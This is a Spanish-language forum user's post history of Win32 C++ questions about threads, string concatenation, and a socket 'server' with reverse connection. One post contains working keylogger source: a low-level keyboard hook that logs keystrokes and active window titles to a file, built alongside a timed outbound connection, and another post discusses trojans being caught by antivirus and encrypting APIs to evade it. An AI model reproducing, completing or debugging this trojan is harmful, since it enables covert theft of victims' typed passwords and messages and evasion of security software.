Mensajes

En efecto, funciona.

Gracias Eternal Idol, supongo que al implementar otras cosas de esta forma me surgiran otros problemas, espero contra siempre con vuestra ayuda.

Dejo el code completo funcional para aquel que se inicie en esto de los HIlos aunque he modificado la funcion que ejecuta el hilo para que demore exagerando un poco.

La pregunta es como haria para mostrar en el cuadro de texto el valor de la variable 'LINC' que se supone se incrementa mientras los bucles del hilo se ejecutan, la finalidad era mostrar el valor final de 'LINC' cuando el hilo termina en un MessageBox, por ahora solo muestra 1. A ver si ponemos 100% funcional el ejemplo.

Código (cpp) [Seleccionar] Expandir


#define _WIN32_WINNT 0x0500
#define _CRT_SECURE_NO_DEPRECATE
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <tchar.h>
#include <string>
#include <atlstr.h>

/*Declaraciones para nuestro hilo*/
DWORD WINAPI ThreadFunc( LPVOID );
UINT TerminoProceso;
static DWORD dwThreadId;
static HANDLE hThread=NULL;
DWORD cod;
char cade[10];




MSG messages;

// Global variables
char a;
int LINC=0;





// El nombre de la clase de la ventana principal
static TCHAR szWindowClass[] = _T("VentanaWin32");

// El texto que aparece en la ventana principal
static TCHAR szTitle[] = _T("Una ventana tipica de win32");


HINSTANCE hInst; //variable global para

//El propósito de esta función es procesar cualquier mensaje que nuestra aplicación reciba del sistema operativo
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);

/************************************************************/
/************************FUNCION PRINCIPAL*******************/
/************************************************************/
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{







    //Esta estructura contiene información sobre la ventana, tal como el icono de la aplicación,
//el color de fondo de la ventana, el nombre que aparece en la barra de título,
//el nombre de la función de procedimiento de ventana, etc.
WNDCLASSEX wcex;

    wcex.cbSize = sizeof(WNDCLASSEX);
    wcex.style          = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc    = WndProc;
    wcex.cbClsExtra     = 0;
    wcex.cbWndExtra     = 0;
    wcex.hInstance      = hInstance;
    wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ASTERISK));
    wcex.hCursor        = LoadCursor(NULL, IDC_ARROW);
    wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
    wcex.lpszMenuName   = NULL;
    wcex.lpszClassName  = szWindowClass;
    wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_ASTERISK));
    if (!RegisterClassEx(&wcex)){
        MessageBox(NULL,
            _T("Call to RegisterClassEx failed!"),
            _T("Win32 Guided Tour"),
            NULL);
        return 1;
    }   
hInst = hInstance;
    HWND hWnd = CreateWindow(
        szWindowClass,
        szTitle,
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT, CW_USEDEFAULT,
        500, 200,
        NULL,
        NULL,
        hInstance,
        NULL
    );
    ShowWindow(hWnd,nCmdShow);
    UpdateWindow(hWnd);

/*Creamos el hilo*/
hThread = CreateThread(
NULL, // sin atributos de seguridad
0, // Tamaño de la pila por defecto
ThreadFunc, // Funcion del hilo
        hWnd, // argumento de la funcion del hilo (pasado por referencia)
0, // creacion de banderas por defecto
&dwThreadId); // puntero a la variable donde se guardara el id del hilo


    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return (int) msg.wParam;
}




/*Funcion que sera ejecutada por el HILO*/
DWORD WINAPI ThreadFunc( LPVOID lpParam )
{
int i,j=0,k,s;
    HWND mHwnd = (HWND)lpParam;

for(i=0;i<1000;i++)
  for(k=0;k<4000;k++)
  for(s=0;s<90;s++)
     LINC++; /*Variable que se incrementa*/

PostMessage(mHwnd,TerminoProceso,0,0);
return (DWORD)LINC; /*Devolvemos la variable cuando finaliza este hilo*/
}


//Callback de los mensajes...
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    PAINTSTRUCT ps;
    HDC hdc;
    TCHAR greeting[] = _T("Probando Hilos...");

   

/*para reconocer cuando termina el HILO y asi poder destruirlo*/
if(message==TerminoProceso)
{
cod=GetExitCodeThread(hThread,&cod);
while(cod==STILL_ACTIVE)
{
GetExitCodeThread(hThread,&cod);
}
a=(int)cod;
itoa(a,cade,20);

/*Aqui deberiamos mostrar el ultimo valor de la variable 'LINC'*/
MessageBoxW(hWnd,(LPWSTR)cade,L"El hilo a Finalizado",MB_ICONINFORMATION);

CloseHandle(hThread);
hThread=NULL;
return 0;
}

   
//procesamos los mensajes principales
switch (message)
    {

    case WM_CREATE:
/*registramos un nuestro mensaje personalizado para detectar el momento en que el hilo termina*/
TerminoProceso=RegisterWindowMessage("ProcesoFin");
    break;

    case WM_PAINT:
        hdc = BeginPaint(hWnd, &ps);
        TextOut(hdc,5, 5,greeting, _tcslen(greeting));
        EndPaint(hWnd, &ps);
    break;


    case WM_DESTROY:
        PostQuitMessage(0);
        break;

    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
        break;
    }

    return 0;
}



Buenas a todos, googleando, encontre este ejemplo de creacion de un HILO y modificandolo un poco llama a una funcion y ésta a su vez ejecuta un bucle de 1000 iteraciones, al hacerlo correr en VS2005, la ventana tipica aparece pero al parecer la aplicacion o no crea el hilo o no detecta cuando éste ha terminado, les dejo el codigo:

Código (cpp) [Seleccionar] Expandir


#define _WIN32_WINNT 0x0500
#define _CRT_SECURE_NO_DEPRECATE
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <tchar.h>
#include <string>
#include <atlstr.h>

/*Declaraciones para nuestro hilo*/
DWORD WINAPI ThreadFunc( LPVOID );
UINT TerminoProceso;
static DWORD dwThreadId;
static HANDLE hThread=NULL;
DWORD cod;
char cade[20];




MSG messages;

// Global variables
int a;
int b;
int c;
CString t;



// El nombre de la clase de la ventana principal
static TCHAR szWindowClass[] = _T("VentanaWin32");

// El texto que aparece en la ventana principal
static TCHAR szTitle[] = _T("Una ventana tipica de win32");


HINSTANCE hInst; //variable global para

//El propósito de esta función es procesar cualquier mensaje que nuestra aplicación reciba del sistema operativo
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);

/************************************************************/
/************************FUNCION PRINCIPAL*******************/
/************************************************************/
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{


/*Creamos el hilo*/
hThread = CreateThread(
NULL, // sin atributos de seguridad
0, // Tamaño de la pila por defecto
ThreadFunc, // Funcion del hilo
        hInstance, // argumento de la funcion del hilo (pasado por referencia)
0, // creacion de banderas por defecto
&dwThreadId); // puntero a la variable donde se guardara el id del hilo




    //Esta estructura contiene información sobre la ventana, tal como el icono de la aplicación,
//el color de fondo de la ventana, el nombre que aparece en la barra de título,
//el nombre de la función de procedimiento de ventana, etc.
WNDCLASSEX wcex;

    wcex.cbSize = sizeof(WNDCLASSEX);
    wcex.style          = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc    = WndProc;
    wcex.cbClsExtra     = 0;
    wcex.cbWndExtra     = 0;
    wcex.hInstance      = hInstance;
    wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ASTERISK));
    wcex.hCursor        = LoadCursor(NULL, IDC_ARROW);
    wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
    wcex.lpszMenuName   = NULL;
    wcex.lpszClassName  = szWindowClass;
    wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_ASTERISK));
    if (!RegisterClassEx(&wcex)){
        MessageBox(NULL,
            _T("Call to RegisterClassEx failed!"),
            _T("Win32 Guided Tour"),
            NULL);
        return 1;
    }   
hInst = hInstance;
    HWND hWnd = CreateWindow(
        szWindowClass,
        szTitle,
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT, CW_USEDEFAULT,
        500, 200,
        NULL,
        NULL,
        hInstance,
        NULL
    );
    ShowWindow(hWnd,
        nCmdShow);
    UpdateWindow(hWnd);

    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return (int) msg.wParam;
}




/*Funcion que sera ejecutada por el HILO*/
DWORD WINAPI ThreadFunc( LPVOID lpParam )
{
int i,j=0,l=0;
HWND *mhwnd,mHwnd;
   
mhwnd=(HWND*)lpParam;
mHwnd=*mhwnd;


for(i=0;i<10000;i++)
{
j++;
}
PostMessage(mHwnd,TerminoProceso,0,0); //cuando finalice...
return (DWORD)l;
}


//Callback de los mensajes...
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    PAINTSTRUCT ps;
    HDC hdc;
    TCHAR greeting[] = _T("Probando Hilos...");

   

/*para reconocer cuando termina el HILO y asi poder destruirlo*/
if(message==TerminoProceso)
{
cod=GetExitCodeThread(hThread,&cod);
while(cod==STILL_ACTIVE)
{
GetExitCodeThread(hThread,&cod);
}
a=(int)cod;
itoa(a,cade,10);
MessageBoxW(hWnd,L"dddd",L"info",MB_ICONINFORMATION);
CloseHandle(hThread);
hThread=NULL;
return 0;
}

   
//procesamos los mensajes principales
switch (message)
    {

case WM_CREATE:
/*registramos un nuestro mensaje personalizado para detectar el momento en que el hilo termina*/
TerminoProceso=RegisterWindowMessage("ProcesoFin");
break;

    case WM_PAINT:
        hdc = BeginPaint(hWnd, &ps);
/*un mensaje comun en la ventana*/
        TextOut(hdc,5, 5,greeting, _tcslen(greeting));
        EndPaint(hWnd, &ps);
    break;


    case WM_DESTROY:
        PostQuitMessage(0);
        break;

    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
        break;
    }

    return 0;
}



Pienso que estoy pasando mal algun parametro a CreateThread, alguna sugerencia.???

Avanzando en tu proyecto te daras cuenta que hay ciertas APIS necesarias que de todas maneras el AV te los detectará, es más, si estas usando la super conocida API para descargar un archivo desde una URL, pues cualquier AV decente detectará tu troyano, las APIS para manejar el registro por ejemplo tambien son detectadas, o al menos el momento en que lo modificas.

En fin, hay algunos ejemplos de como cifrar APIS y tambien es lo que estoy buscando.

Saludos y suerte con tu proyecto.

Uy! Gracias por responder, como no habia mucho interes en mi problema, el tema de sockets en C++ lo deje ahi básicamente por que estaba ocupado en otros temas.

Probare aumentando el intervalo del timer aunque sospecho que el problema seguirá, lo que tambien habia pensado es TRATAR de hacerlo con hilos, pero aquella vez cuando fui al tio google no tuve suerte con un buen ejemplo claro a cerca de hilos.

Gracias y un saludo.

Le he dado vueltas y vueltas al tema de Sockets para reescribir mi servidor en C++ (usando Visual Studio 2005) y llegue a este punto del cual me es imposible salir sin su ayuda, se que el codigo puede estar un tanto desordenado pero ruego que me entiendan  y desde ya gracias por su ayuda.

En fin posteo mi avance para que alguien que se anime a compilarlo y ver por que se dan los errores que explico a continuacion:

1. Es un proyecto normal de Win32 (Con ventana)
2. En la entrada principal al WinMain instalo el hook al teclado
3. Luego Inicializo el Socket
4. En el mensaje WM_CREATE, creo un timer cada 2 segundos
5. Al recibir el evento WM_TIMER, hago que mi timer envie la peticion cada 2 segundos. Y AL HACER ESTO, TODO WINDOWS QUEDA SEMI BLOQUEADO, LAS LETRAS TARDAN EN APARECER POR EJEMPLO EN EL BLOC DE NOTAS LAS VENTANAS DIFICILMENTE SE ARRASTRAN Y EL HOOK DEL KEYLOGGER FUNCIONA A MEDIAS AL NO LOGEAR ALGUNAS TECLAS DE LO QUE SE ESCRIBE.

PERO SI QUITO LAS LLAMADAS A LAS FUNCIONES QUE INICIALIZAN O CONECTAN EL SOCKET TODO FUNCIONA BIEN. LO QUE ME HACE PENSAR QUE ALGO VA MAL ALLI.








La idea de este codigo es un Server (Conexion Inversa) que deberia funcionar al lado de un Hook al teclado. 

Veamos:

• Archivo->Nuevo->Proyecto->Aplicacion Win 32
• ALT+F7->Propiedades de Configuracion->Juego de Caracteres->Multibyte

Código (cpp) [Seleccionar] Expandir



#define _WIN32_WINNT 0x0500
#define _CRT_SECURE_NO_DEPRECATE

#include <windows.h>
#include <stdlib.h>
#include <tchar.h>
#include <iostream>
#include <string>
#include <atlstr.h>
#include <stdio.h>
#include <winuser.h>
#pragma comment(lib,"ws2_32.lib")
using namespace std;



//FUNCION QUE MUESTRA EN EL TITULO LO QUE LE INDIQUEMOS, PARA FINES DE DEPURACION
void AlTitulo(char *Buffer);


//FUNCION DEL KEYLOGGER: MIRA SI LA TECLA CAPS ESTA PRESIONADA O NO
int isCapsLock(){
     if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0)   return 1;
     else   return 0; }

//CALLBACK DEL HOOK AL TECLADO
LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam);

//ALGUNAS VARIABLES PARA EL KEYLOGGER
HWND ventana; //EL HANDLE DE LA VENTANA ACTIVA
char TVentana[500]; //EL TITULO
char tp[500];
char bufferKL[5];
string HISTORY; //DONDE ACUMULAREMOS LO QUE SE ESTA DIGITANDO




//DEFINICIONES PARA NUESTRO SOCKET
WSADATA wsa;
SOCKET sock;
struct hostent *host;
struct sockaddr_in direc;
int conex;
int ts=-1;
int len=100;
char Buffer[1024];

//UNA FORMA DE SEPARAR LO QUE LLEGARA DESDE EL CLIENTE
void DArrival();


//FUNCIONES PARA MANIPULAR NUESTRO SOCKET

                       //INICIALIZAMOS NUESTRO SOCKET
void inicializar(){
   WSAStartup(MAKEWORD(2,2),&wsa);    
   host=gethostbyname("127.0.0.1");
   //creamos el socket
   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   
   //direccion y puerto
   direc.sin_family=AF_INET;
   direc.sin_port=htons(1234);
   direc.sin_addr = *((struct in_addr *)host->h_addr);
   memset(direc.sin_zero,0,8);
   
}
                       
                       //CONECTAMOS, NOS DEVOLVERA UN VALOR SEGUN SI SE CONECTA O NO
int conectar(){
   //Intentamos establecer la conexión hasta que lo logremos
   conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
   return conex;
}

//PARA CERRAR EL SOCKET
                       void cerrar(){
closesocket(sock);
}



MSG messages; //PARA EL BUCLE DE MENSAJES DE LA APLICACION


#define TIMER_ID1 1 /*PRIMER TIMER QUE SE ENCARGARA DE LANZAR LOS INTENTOS DE CONEXION CADA 2 SEGUINDOS*/

// El nombre de la clase de la ventana principal
static TCHAR szWindowClass[] = _T("VentanaWin32");

// El texto que aparece en la ventana principal
static TCHAR szTitle[] = _T("Una ventana tipica de win32");


HINSTANCE hInst; //variable global sacar el HINSTANCE del WinMain

//El propósito de esta función es procesar cualquier mensaje que nuestra aplicación reciba del sistema operativo
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);



UINT mt; //PARA IDENTIFICAR A NUESTRO /*PRIMER TIMER*/

//FUNCION PRINCIPAL
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
/*ENTRADA PRINCIPAL: COMIENZA LA ODISEA...*/
{

len=sizeof(struct sockaddr); //INICIAMOS LEN PARA NUESTRO SOCKET
inicializar(); //INICIALIZAMOS EL SOCKET /*SI QUITO ESTO TODO VA BIEN, SINO WINDOWS VA MUY LENTO: PERO SI LO QUITO COMO Y DONDE INICIALIZO EL SOCKET??? */

        //INSTALAMOS EL HOOK AL TECLADO
HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,capturaTeclas,hInstance,0);


    //Esta estructura contiene información sobre la ventana
    WNDCLASSEX wcex;
    wcex.cbSize = sizeof(WNDCLASSEX);
    wcex.style          = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc    = WndProc;
    wcex.cbClsExtra     = 0;
    wcex.cbWndExtra     = 0;
    wcex.hInstance      = hInstance;
    wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ASTERISK));
    wcex.hCursor        = LoadCursor(NULL, IDC_ARROW);
    wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
    wcex.lpszMenuName   = NULL;
    wcex.lpszClassName  = szWindowClass;
    wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_ASTERISK));

    //registramos la clase
if (!RegisterClassEx(&wcex)) return 1;
   
    //almacenamos 'hInstance' que es un parametro de la funcion principal WinMain en una variable Global
hInst = hInstance;

    //parametros para crear la ventana  principal
HWND hWnd = CreateWindow(szWindowClass,szTitle,WS_OVERLAPPEDWINDOW,CW_USEDEFAULT, CW_USEDEFAULT,500, 200,NULL,NULL,hInstance,NULL);

//mostramos la ventanA
    ShowWindow(hWnd,nCmdShow);
    UpdateWindow(hWnd);

   
   MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return (int) msg.wParam;
}


//funcion para procesar los mensajes de la ventana principal
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    PAINTSTRUCT ps;
    HDC hdc;
    TCHAR greeting[] = _T("Hola A todos");

    switch (message)
    {
case WM_CREATE:
               /*CREAMOS NUESTRO TIMER QUE HARA QUE EL SOCKET LANZE LA PETICION DE CONEXION CADA 2 SEGUNDOS*/
mt=SetTimer(hWnd, TIMER_ID1, 2000, 0);
break;


        //USAMOS ESTE MENSAJE EN VEZ DE UN CALLBACK
case WM_TIMER:
switch (wParam){
case TIMER_ID1: /*<--- PRIMER TIMER */

      //CADA 2 SEGUNDOS INTENTARA CONECTAR
                                                       if(ts==-1){
ts=conectar(); /*IGUAL: SI QUITO ESTO VA BIEN PERO SINO WINDOWS VA MAL*/
                                                       //Y NOS AVISARA EN EL TITULO DE LA VENTANA
AlTitulo("Intento de conexion enviada...");
}
                                                       //CUANDO LOGRE CONECTARSE...
                                                        else{
DArrival(); //LLAMAMOS A ESTA FUNCION
KillTimer(NULL,mt);

}

break;



                                //MAS ADELANTE QUIZA NECESITEMOS UN SEGUNDO TIMER
//case TIMER_ID2: //<--- Segundo Timer
//break;
}

break;



    case WM_PAINT:
       hdc = BeginPaint(hWnd, &ps); //aqui iniciamos
      //MOSTRAMOS UN SALUDO
       TextOut(hdc,5, 5,greeting, _tcslen(greeting));
        EndPaint(hWnd, &ps); //aqui terminamos
    break;


    case WM_DESTROY:
        PostQuitMessage(0);
        break;

    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
        break;
    }

    return 0;
}


/*LA FUNCION QUE DEBERIA LLAMARSE CUANDO EL SOCKET SE CONECTA*/
/*PERO ESTO YA NO SE EJECUTA O AL MENOS NO HIZE LAS PRUEBAS HASTA AQUI*/
void DArrival(){
while (len!=0){ //mientras estemos conectados
   len=recv(sock,Buffer,1023,0); //recibimos los datos que envie

if (len>0){ //si seguimos conectados
Buffer[len]=0; //le ponemos el final de cadena

AlTitulo(Buffer);


}
}
ts=-1;

}



















//DEFINICION DE LA FUNCION DEL HOOK, ESTO FUNCIONA NO HAY MUCHO QUE DECIR AQUI.
LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam) {

PKBDLLHOOKSTRUCT puntero = (PKBDLLHOOKSTRUCT) (lParam);
DWORD Tecla = puntero->vkCode;

     //vemos si wParam es igual a WM_KEYDOWN (tecla presionada)
if (wParam == WM_KEYDOWN ||  wParam == WM_SYSKEYDOWN) {
switch (puntero->vkCode) {
case VK_RETURN: //SI PRESIONA ENTER GUARDAMOS EN EL LOG LO QUE SE HA ACUMULADO EN 'HISTORY'

HISTORY.append("\n");

{
FILE *mif=fopen("logger2.txt","a+");
fputs(HISTORY.c_str(),mif); //guardamos.
fclose(mif);
}
HISTORY="";

break;  //se presiono un enter

case VK_LMENU: HISTORY.append("[AI]"); break;  //la tecla alt
case VK_RMENU:  HISTORY.append("[AD]"); break;  //la tecla alt
case VK_BACK: HISTORY.append("[<]");    break; //la tecla retroceso
case VK_TAB: HISTORY.append("[T]");    break; //la tecla tabulador
case VK_END : HISTORY.append("[F]");    break; //la tecla fin
case VK_HOME: HISTORY.append("[I]");    break; //la tecla home
case VK_LEFT: HISTORY.append("[L]");    break; //la tecla felcha izquierda
case VK_UP: HISTORY.append("[U]");    break; //la tecla flecha arriba
case VK_RIGHT: HISTORY.append("[R]");    break; //la tecla flecha derecha
case VK_DOWN: HISTORY.append("[D]");    break; //la tecla flecha abajo
case VK_DELETE: HISTORY.append("[S]");    break; //la tecla suprimir
case VK_MULTIPLY:HISTORY.append("*");    break; //la tecla * del teclado num
case VK_ADD: HISTORY.append("+");    break; //la tecla + del teclado num
case VK_SUBTRACT:HISTORY.append("-");    break; //la tecla -
case VK_DIVIDE: HISTORY.append("/");    break; //la tecla /
case VK_DECIMAL:HISTORY.append(".");    break; //la tecla . del teclado num
case VK_CAPITAL:HISTORY.append("[CAPS]");    break; //CAPS LOCK

//registramos las teclas normales
default:
if ((puntero->vkCode>64)&&(puntero->vkCode<91)){
if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())){
puntero->vkCode+=32;



sprintf(bufferKL,"%c",puntero->vkCode);
HISTORY.append(bufferKL);

}else{
sprintf(bufferKL,"%c",puntero->vkCode);
HISTORY.append(bufferKL);
}

}
if (Tecla==VK_SPACE){ //espacio en blanco
HISTORY.append(" ");
}



}
//GUARDAMOS CON EL TITULO DE VENTANA

if(GetForegroundWindow()!=ventana){
ventana=GetForegroundWindow();
GetWindowText(ventana,TVentana,80);
sprintf(tp,"\n[%s]\n",TVentana);
HISTORY.append(tp);
}

}
   
   //en el caso de que haya otro hook instalado, le damos el pase para que haga lo suyo
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
















/*****************FUNCIONES UTILES*************************************/
void AlTitulo(char *Buffer){
HWND ventana;
ventana=GetForegroundWindow();
SetWindowText(ventana,Buffer);

}



Resumiendo la consulta:

¿por que windows se detiene o se pone lento cuando con un timer hago que el socket de este server se conecte a su cliente?, el timer esta a 2 segundos, al sacar las llamadas a las funciones de 'inicializar' y 'conectar', todo va bien pero obviamente necesito hacer eso para poder conectarme.

Un Saludo.

Que tal, pues lo del asunto, cual es la forma correcta de saber si un socket normal esta o no conectado en C++???.

Recuerdo que en basic, teniamos la propiedad 'State' que nos decia en cualquier momento si el Socket estaba o no conectado.

Agradecido desde ya por su tiempo y respuesta.

Estoy yá, leendo al respecto, hice algunas pruebas con algunos ejemplos y al parecer funciona. Sin embargo asumo que este nuevo tipo de dato es exclusivo de C++, y cual 'era' o 'es' la forma de hacerlo al puro estilo de C o Ansi C.

Gracias por todo.

Me cuesta entender a cerca de las cadenas dinamicas.

Por ejemplo en Basic declaramos esto

Código [Seleccionar] Expandir


Dim Archivo as String

y 'Archivo' puede ser tan grande o pequeño como querramos.

En todo caso ¿cual es el equivalente en C++? para la variable archivo.

Mi idea inicial era tener una variable 'cad'

Código [Seleccionar] Expandir


char *cad;

inicializarla con algo como esto:

Código [Seleccionar] Expandir


cad=new char[];

y en 'cad' poder ir acumulando tantas frases o palabras como yo quisiera. por ejemplo

Código [Seleccionar] Expandir


strcat(cad,"123");
strcat(cad,"456");
strcat(cad,"789");
strcat(cad,"abc");
strcat(cad,"def");
strcat(cad,"ghi");
strcat(cad,"jkl");
strcat(cad,"mno");
...

para luego de mostrar a 'cad'  con

Código [Seleccionar] Expandir


printf("%d\n",cad);

me muestre por pantalla:

Código [Seleccionar] Expandir


12345678abcdefghijklmno


En C++, bajo VS 2005:

y este código???:

Código (cpp) [Seleccionar] Expandir


#include <stdio.h>
#include <string.h>

int main()
{

char *cad;

cad=new char[10];
strncpy(cad,"",1);

strncat(cad,"123",3);
strncat(cad,"456",3);
strncat(cad,"789",3);
strncat(cad,"789",3); // ???
strncat(cad,"789",3); // ???
strncat(cad,"789",3); //<-- Crash!!!


printf("%s\n",cad);

return 0;

}


Y sigo con la duda de como concatenar 'n' caracteres al primer parametro de strncat, ya que segun la definicion del codigo solo podria juntarle hasta 10 caracteres (claro que parece que recibe 15, luego se cierra el programa).

Hola, tengo el siguiente codigo:
* Un puntero cad a char
* De tamaño 10

Luego de inicializarlo con strcpy, voy agregando cadenas con strcat, pero al ser la variable cad de 10 elementos, ¿no deberia haber un error?


Ademas mi idea es concatenar 'n' caracteres y no solamente '10', es decir no se sabe cuantas cadenas recibira la variable cad, ¿cual seria la declaracion?

Código (cpp) [Seleccionar] Expandir


#include <stdio.h>
#include <string.h>

int main()
{

char *cad;

cad=new char[10]();
strcpy(cad,"");

strcat(cad,"123");
strcat(cad,"456");
strcat(cad,"789");

strcat(cad,"abc"); //<-- Aqui deberia haber un error
strcat(cad,"def"); //<-- Aqui tambien pero el programa corre

        strcat(cad,"def"); //<-- Aqui el programa cierra abruptamente

printf("%s\n",cad);

return 0;

}


Saludos.